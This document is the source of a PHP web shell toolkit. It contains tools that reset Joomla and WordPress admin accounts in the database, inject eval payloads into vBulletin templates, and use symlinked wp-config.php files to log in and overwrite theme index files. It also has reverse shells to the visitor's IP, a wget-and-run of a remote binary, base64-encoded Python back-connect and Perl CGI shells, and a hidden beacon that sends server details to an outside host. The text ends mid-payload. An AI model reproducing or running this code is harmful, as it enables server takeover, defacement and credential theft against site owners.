		<a href="mailto:"></a></span></div><font color='#FF0000' size='3'><br>
 <body bgcolor="#000000">
<body>
<?
if(empty($_POST['login']) && (empty($_POST['passwd'])) && (empty($_POST['port']))){
echo "<CENTER><form method='POST' enctype='multipart/form-data' action='r00t.php'>

<div align=\"center\"><br></form>";
} else {
$user = $_POST['login'];
$pass = $_POST['passwd'];
$dbname = $_POST['port'] ;
/////////////////////////////////////////////////////////////////
//
////////////////////////////////////////////////////////////////
$LINK = mysql_connect ("localhost","$user","$pass");
////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////
$result = mysql_db_query ("$dbname","select * from user");
///////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////
echo "<table border =2 cellpadding=0 cellspacing=0
style=border-collapse: collapse bordercolor=#004080
width=50%" ;
echo "<td width=30%
align=center bgcolor=8080C0></td>";

while ($row = mysql_fetch_array ($result)) {
echo "<tr>";
echo "<td width=30% align=center>$row[email]</td>";
echo "</tr>" ;
}
echo "</table>" ;
mysql_free_result ($result);
}
?>
-------------------------------------------
</p>


<?
if(empty($_POST['pwd'])){echo "
<FORM method=\"POST\">
<p>Change admin Joomla<br />
<br> </br>
Host&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\"><p>
Database : <INPUT size=\"15\" value=\"database\" name=\"database\" type=\"text\"><p>
Username : <INPUT size=\"15\" value=\"db_user\" name=\"username\" type=\"text\"><p>
Password : <INPUT size=\"15\" value=\"**\" name=\"password\" type=\"password\"><p>
Set A New Username For Login : <INPUT name=\"admin\" size=\"15\" value=\"r00t-s3c\"><p>
The Password is : <font color='#FF0000'>r00t</font> <INPUT type=\"hidden\" name=\"pwd\" size=\"15\"
value=\"e31886529b38ff92c0911afbe60483a0:AfnYAKJF1fXLfqB64HCETMX27lNgALUA\"><p>
<INPUT value=\"change\" name=\"send\" type=\"submit\">

</FORM>";}
else{
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$pwd       = $_POST['pwd'];
$admin     = $_POST['admin'];


         @mysql_connect($localhost,$username,$password) or die(mysql_error());
         @mysql_select_db($database) or die(mysql_error());

$hash = crypt($pwd);

$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());

if($SQL){
echo "<b><font color='#C0C0C0'>root@serv[#] ~ Success <img src='http://img818.imageshack.us/img818/7808/679507348.gif'> <br>root@serv[#] ~ Coded By
</font><font color='#FF0000'>The Sword</font><font color='#C0C0C0'><br>root@serv[#] ~ Join Us
</font>
<font color='#FF0000'>
";}

}
?>

</p>
<?php


?>
<html><style>
input, select, textarea {
background-color: #000000;
border-style: #7a7c7d;
border-width: 1px;
font-family: verdana, arial, sans-serif;
font-size: 11px;
color: #7a7c7d;
padding: 0px;
}
A:link {
COLOR:#A2A2A2; TEXT-DECORATION: none
}
A:visited {
COLOR:#A2A2A2; TEXT-DECORATION: none
}
A:active {
COLOR:#787878; TEXT-DECORATION: none
}
A:hover {
color:#8C8C8C;TEXT-DECORATION: none
}
</style>
<head>
  <title>Change All pages For Forum</title>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
       <body bgcolor="black" text="#7a7c7d">
       <div align="center">

<p>--------------------------</p>

<p>Change All pages For Forum</p>

      <?

if(empty($_POST['index'])){
echo "<FORM method=\"POST\">
host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\">
database : <INPUT size=\"15\" value=\"forum_vb\" name=\"database\" type=\"text\"><br>
username : <INPUT size=\"15\" value=\"forum_vb\" name=\"username\" type=\"text\">
password : <INPUT size=\"15\" value=\"vb\" name=\"password\" type=\"password\"><br>
      <br>
<textarea name=\"index\" cols=\"70\" rows=\"30\">Set Your Index</textarea><br>
<INPUT value=\"Set\" name=\"send\" type=\"submit\">
</FORM>";
}else{
$localhost = $_POST['localhost'];
$database  = $_POST['database'];
$username  = $_POST['username'];
$password  = $_POST['password'];
$index     = $_POST['index'];
         @mysql_connect($localhost,$username,$password) or die(mysql_error());
         @mysql_select_db($database) or die(mysql_error());

$index=str_replace("\'","'",$index);

$set_index  = "{\${eval(base64_decode(\'";

$set_index .= base64_encode("echo \"$index\";");


$set_index .= "\'))}}{\${exit()}}</textarea>";

$ok=@mysql_query("UPDATE template SET template ='".$set_index."' WHERE title ='spacer_open'") or die(mysql_error());

if($ok){
echo "!! update finish !!<br><br>";
}

}
# Footer

?>




</p>
<p>--------------------------</p>
<?

 if($_POST['form_action'] == 1 )
 {

$text=file_get_contents($_POST['file']);


	$username=entre2v2($text,"define('DB_USER', '","');");
$password=entre2v2($text,"define('DB_PASSWORD', '","');");
$dbname=entre2v2($text,"define('DB_NAME', '","');");
$prefix=entre2v2($text,"$table_prefix  = '","'");
}

 if($_POST['form_action'] == 2 )
 {
 $prefix=($_POST['db_prefix']);
 $username=($_POST['db_username']);
 $password=($_POST['db_password']);
 $dbname=($_POST['db_name']);




}
/*
echo($username);
echo("<br>");
echo($password);
echo("<br>");
echo($dbname);
echo("<br>");
echo($prefix);
echo("<br>");
*/

if ($_POST['form_action'])
{
$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
      $link=mysql_connect("localhost",$username,$password) ;
	  if ($link) {
         mysql_select_db($dbname,$link) ;
		 $req1 =mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '$1$42REgxSR$.tLV4PSbQmCKsisyCSyhq.' WHERE `wp_users`.`ID` =1 LIMIT 1 ;");
echo("<br>[+] Changing admin password to 123456789");
	$req =mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='home'");
	 $data = mysql_fetch_array($req);
$site_url=$data["option_value"];

	 	 echo("<br>");
	 echo($data["option_value"]);
	 }
      $useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";



	 $url2=$site_url."/wp-login.php";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=123456789&rememberme=forever&wp-submit=Log In&testcookie=1");

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
    curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");


$buffer = curl_exec($ch);

$pos = strpos($buffer,"admin");

if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[+] Login Successful");
}

echo("<br>[*] Theme editor ...");
	 $url2=$site_url."/wp-admin/theme-editor.php";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);


curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
     curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");


$buffer = curl_exec($ch);


$ar=explode( '<li><a href="theme-editor.php?file=', $buffer);
     for($vi=0;$vi < count($ar);$vi++)
     {
	if(substr_count($ar[$vi],"(index.php)") != 0){
$theme=entre2v2($ar[$vi],'/themes','">');
	//	echo(entre2v2($ar[$vi],'/themes','">'));
}
}

if($theme) {
echo("<br>[+] index.php file founded in Theme Editor");

}
else {
echo("<br>[-] index.php Not found in Theme Editor");
exit;
}
echo("<br>[*] Updating Index.php .....");

//-----------------------------------------------------\
$theme=str_replace("&amp;","&",$theme);

  $url2=trim($site_url."/wp-admin/theme-editor.php?file=/themes".$theme);


$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);


curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
    curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");


$buffer0 = curl_exec($ch);
//echo($buffer0);

$_wpnonce=entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
$_file=entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');


	 $url2=$site_url."/wp-admin/theme-editor.php";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$h."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
    curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");


$buffer = curl_exec($ch);

//echo($buffer);
$pos = strpos($buffer,'<div id="message" class="updated">');

if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[+] Index.php Updated Successfuly");
}


//////////////////////////////

$ar=explode( '<li><a href="theme-editor.php?file=', $buffer);
     for($vi=0;$vi < count($ar);$vi++)
     {
	if(substr_count($ar[$vi],"(home.php)") != 0){
$theme=entre2v2($ar[$vi],'/themes','">');
	//	echo(entre2v2($ar[$vi],'/themes','">'));
}
}

if($theme) {
echo("<br>[+] home.php file founded in Theme Editor");

}
else {
echo("<br>[-] home.php Not found in Theme Editor");
exit;
}
echo("<br>[*] Updating home.php .....");

//-----------------------------------------------------\
$theme=str_replace("&amp;","&",$theme);

  $url2=trim($site_url."/wp-admin/theme-editor.php?file=/themes".$theme);


$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);


curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
    curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");


$buffer0 = curl_exec($ch);
//echo($buffer0);

$_wpnonce=entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
$_file=entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');


	 $url2=$site_url."/wp-admin/theme-editor.php";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$h."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
    curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");


$buffer = curl_exec($ch);

//echo($buffer);
$pos = strpos($buffer,'<div id="message" class="updated">');

if($pos === false) {
echo("<br>[-] Updating home.php Error");
exit;
}
else {
echo("<br>[+] home.php Updated Successfuly");
}

}


function entre2v2($text,$marqueurDebutLien,$marqueurFinLien)

{

$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[1]);
$ar=trim($ar1[0]);
return $ar;
}

?>

<body bgcolor="#000000">
 <style>

BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: olive;   color: white;}
textarea{background-color:#191919;color:red;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1px solid #666666;}
input{FONT-WEIGHT:normal;background-color: #191919;font-size: 13px;font-weight:bold;color: red; font-family: Tahoma; border: 1px solid #666666;height:17}
</style>
<center>
<font color="#FFFF6FF" size='+3'>[ ~~ Change WordPress Index ~~ ]</font><br><br>
<font color="#0066FF" size='+2'>Symlink to wp-config.php of WP</font><br>
</center>
Symlink to wp-config.php of WP
<br>
<FORM action=""  method="post">
<input type="hidden" name="form_action" value="1">
<br>
 <input type="text" size="30" name="file" value="">
<br>
<br>
Index Code
<br>
<TEXTAREA rows="18"  cols="50" name="code">
	</TEXTAREA>
	<br>
<INPUT class=submit type="submit" value="Submit" name="Submit">
</FORM>
<hr>

<br>
<center>
<font color="#0066FF" size='+2'>DB configuration of WP<font><br>
</center>
<FORM action=""  method="post">
<input type="hidden" name="form_action" value="2">
<br>
<table border=1>

<tr><td>db_prefix </td><td><input type="text" size="30" name="db_prefix" value="wp_"></td></tr>
<tr><td>db_username </td><td><input type="text" size="30" name="db_username" value=""></td></tr>
<tr><td>db_password</td><td><input type="text" size="30" name="db_password" value=""></td></tr>
<tr><td>db_name</td><td><input type="text" size="30" name="db_name" value=""></td></tr>


</table>
<br>
<br>
<TEXTAREA rows="18"  cols="50" name="code">
	</TEXTAREA>
	<br>
<INPUT class=submit type="submit" value="Submit" name="Submit">
</FORM>
<hr>

</p>

<BODY OnKeyPress="GetKeyCode();" text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=0 cellSpacing=0 borderColorDark=#666666 cellPadding=2 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="2" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><center><font color="#0033FF">
        <pre></pre>
  <hr>
        <font face="Wingdings"><img border="0" src="http://priv8.iblogger.org/s.php?'+<?echo "uname -a : "; echo (php_uname())?>";" width="0" height="0"></a></font>
</font>
<a onclick="window.open('http://www.schliinberg.de/templates/pageranktara.php','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.schliinberg.de/templates/pageranktara.php"><font color="red"><b></b></font></a>&nbsp;<a onclick="window.open('http://networktools.nl/reverseip/actionhandler&toolAction=toolReverseIP&toolInput=<?php echo $_SERVER ['SERVER_ADDR']; ?>','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://networktools.nl/reverseip/actionhandler&toolAction=toolReverseIP&toolInput=<?php echo $_SERVER ['SERVER_ADDR']; ?>"><font color="green"><b>Site list</b></font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_6"><font color="yellow">Cgi Shell</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_7"><font color="white">Python Shell</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_8&bypass=cp"><font color="blue">Symlink Shell</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_9"><font color="orange">perl Bypass Tools</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_10"><font color="yellow">Auto Root</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_14"><font color="red">Domain-User</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_15"><font color="pink">Show source Read</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_11"><font color="orange">Cgi Shell Priv pass=dz</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_16"><font color="green">Config Shell</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_18"><font color="orange">change info scripts</font></a><br>&nbsp;&nbsp;<a href="?BackConnect=PHP_19"><font color="pink">SsiBypass</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_20"><font color="red">SuExecByps</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_22"><font color="white">Wordpress Mysql Admin Shell</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_23"><font color="white">Joomla Mysql Admin Shell</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_24"><font color="white">Php Eval Bypass</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_25"><font color="white">Php4 Bind 8888 Eval</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_26"><font color="white">Cpanel+Ftp+Telnet Cracker</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_27"><font color="white">Safe Mode php.ini</font></a>&nbsp;&nbsp;<a href="?BackConnect=PHP_28"><font color="white">Mini Cgi</font></a></td>
</center></th></tr><tr><td>
<?php
function printit ($string) {
   if (!$daemon) {
      print "$string
";
   }
}
$bc = $_GET["BackConnect"];
switch($bc){
case "PHP_1":

set_time_limit (0);
$VERSION = "1.0";
$ip = $_SERVER["REMOTE_ADDR"];
$port = 22;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {

   $pid = pcntl_fork();

   if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
   }

   if ($pid) {
      exit(0);  // Parent exits
   }
   if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
   }

   $daemon = 1;
} else {
   print("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
   printit("$errstr ($errno)");
   exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
   printit("ERROR: Can't spawn shell");
   exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
   // Check for end of TCP connection
   if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
   }

   // Check for end of STDOUT
   if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
   }

   // Wait until a command is end down $sock, or some
   // command output is available on STDOUT or STDERR
   $read_a = array($sock, $pipes[1], $pipes[2]);
   $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

   // If we can read from the TCP socket, send
   // data to process's STDIN
   if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
   }

   // If we can read from the process's STDOUT
   // send data down tcp connection
   if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
   }

   // If we can read from the process's STDERR
   // send data down tcp connection
   if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
   }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
break;
case "PHP_2":
          $ipim=$_SERVER["REMOTE_ADDR"];
         $portum="22";
         if ($ipim <> "")
         {
         $mucx=fsockopen($ipim , $portum , $errno, $errstr );
         if (!$mucx){
               $result = "Error: didnt connect !!!";
         }
         else {

         $zamazing0="
";
         fputs ($mucx ,"
welcome ZoRBaCK

");
         fputs($mucx , system("uname -a") .$zamazing0 );
         fputs($mucx , system("pwd") .$zamazing0 );
         fputs($mucx , system("id") .$zamazing0.$zamazing0 );
         while(!feof($mucx)){
         fputs ($mucx);
        $one="[$";
        $two="]";
        $result= fgets ($mucx, 8192);
        $message=`$result`;
       fputs ($mucx, $one. system("whoami") .$two. " " .$message."
");
      }
      fclose ($mucx);
         }
         }

break;
case "PHP_3":
         $fipn=$_SERVER["REMOTE_ADDR"];
         $bportn="22";
         if ($fipn <> "")
         {
         $fp=fsockopen($fipn , $bportn , $errno, $errstr);
         if (!$fp){
               $result = "Error: could not open socket connection";
         }
         else {
         fputs ($fp ,"

whoami
root
:)

");
      while(!feof($fp)){
       fputs ($fp);
       $result= fgets ($fp, 4096);
      $message=`$result`;
       fputs ($fp,"--> ".$message."
");
      }
      fclose ($fp);
         }
         }
break;
case "PHP_4":
#!/usr/bin/perl
#  coded by izo
{
print "root by izo
";
$fip=$_SERVER["REMOTE_ADDR"];
$bport="22";
system("wget http://paradiseinpuntagorda.com/images/dc");
system("chmod 777 dc");
system("./dc $fip $bport");
}
break;
case "PHP_5":
#  coded by izo
{
print "Ba&#287;lan&#305;l&#305;yor...
";
$fipc=$_SERVER["REMOTE_ADDR"];
$bportc="22";
$izoemmi = 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCiMjIyMjIyMjIyMjIyMjIyMjIyMjIwojLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiMgICAgICAgICAgICAgICAgICAg
ICAgLl9fX19fX19fX19fX19fX19fX19fXy4gIHwKIyAgIGNvZGVkIGJ5IHNsYXYwbmljICB8IHNs
YXYwbmljMEBnbWFpbC5jb20gfCAgfCAgICAKIyAgICAgICAgICAgICAgICAgICAgICBeLS0tLS0t
LS0tLS0tLS0tLS0tLS0tXiAgfAojIHNpdGU6IHNsYXYwbmljLnhzcy5ydSAgICAgICAgICAgICAg
ICAgICAgICAgICB8CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLSsKI2ZvciBzZXR1cCBhIGxpc3RlbmluZyBwb3J0IG9uIHlvdXIgaG9zdDogbmMgLWwgLXAg
W3BvcnRdIAojVXNlOiBweXRob24gc2xfYmMucHkgW2hvc3RdIFtwb3J0XSB8fCBzbF9iYy5weSAt
ZGVmYXVsdCBzZXR0aW5ncwoKZnJvbSBzb2NrZXQgaW1wb3J0ICoKaW1wb3J0IG9zCmltcG9ydCBt
ZDUKaW1wb3J0IHN5cwoKIyMjIyMjIyMjIyNfRGVmYXVsdF8jIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMKaG9zdD0nbG9jYWxob3N0JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAjCnBvcnQ9NjY2
NiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIwphdXRvY29tbWFuZHM9InVuc2V0
IEhJU1RGSUxFO3VuYW1lIC1hO2lkIiAgICMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMKaWYgbGVuKHN5cy5hcmd2KT4xOgogICAgaG9zdD1zeXMuYXJndlsxXQog
ICAgaWYgbGVuKHN5cy5hcmd2KT4yOgogICAgICAgIHBvcnQ9aW50KHN5cy5hcmd2WzJdKQpwcmlu
dCAiWytdaG9zdDpwb3J0PSAlczolaSIlKGhvc3QscG9ydCkKICAgICAgICAKaW5mbz1vcy5wb3Bl
bihhdXRvY29tbWFuZHMpLnJlYWQoKQp0cnk6CiAgICBzb2Nrb2JqPXNvY2tldChBRl9JTkVULFNP
Q0tfU1RSRUFNKQogICAgc29ja29iai5jb25uZWN0KChob3N0LHBvcnQpKQpleGNlcHQ6CiAgICBw
cmludCAnWy1dU29ja2V0RXJyb3InLHN5cy5leGNfdmFsdWUKICAgIHN5cy5leGl0KDEpCnNvY2tv
Ymouc2VuZCgiLjpiaW5ic2hlbGw6LlxuICVzIiVpbmZvKQpvcy5kdXAyKHNvY2tvYmouZmlsZW5v
KCksMikKb3MuZHVwMihzb2Nrb2JqLmZpbGVubygpLDEpCm9zLmR1cDIoc29ja29iai5maWxlbm8o
KSwwKQpvcy5leGVjbCgiL2Jpbi9zaCIsInNoIik=';
$file = fopen("conp" ,"w+");
$write = fwrite ($file ,base64_decode($izoemmi));
fclose($file);
chmod("conp" , 0777);
system("./conp $fipc $bportc");
}
break;
case "PHP_6":
    mkdir('cgitelnet1', 0755);
    chdir('cgitelnet1');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .cin

AddHandler cgi-script .cin
AddHandler cgi-script .cin";
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5w
cml2OCBjZ2kgc2hlbGw8L2I+ICMgc2VydmVyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMt
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdl
IG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcg0KIyB2YWx1ZXMgc2hvdWxkIHdv
cmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJFBhc3N3
b3JkID0gInByaXY4IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhp
cw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2Ug
dGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3Jp
cHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBv
biBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENt
ZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1h
bmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNl
cCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRz
DQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJh
dGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl
ZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJ
CQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFr
ZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFs
aWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZl
cnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRh
IGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBv
dGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQN
CgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkj
IHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVp
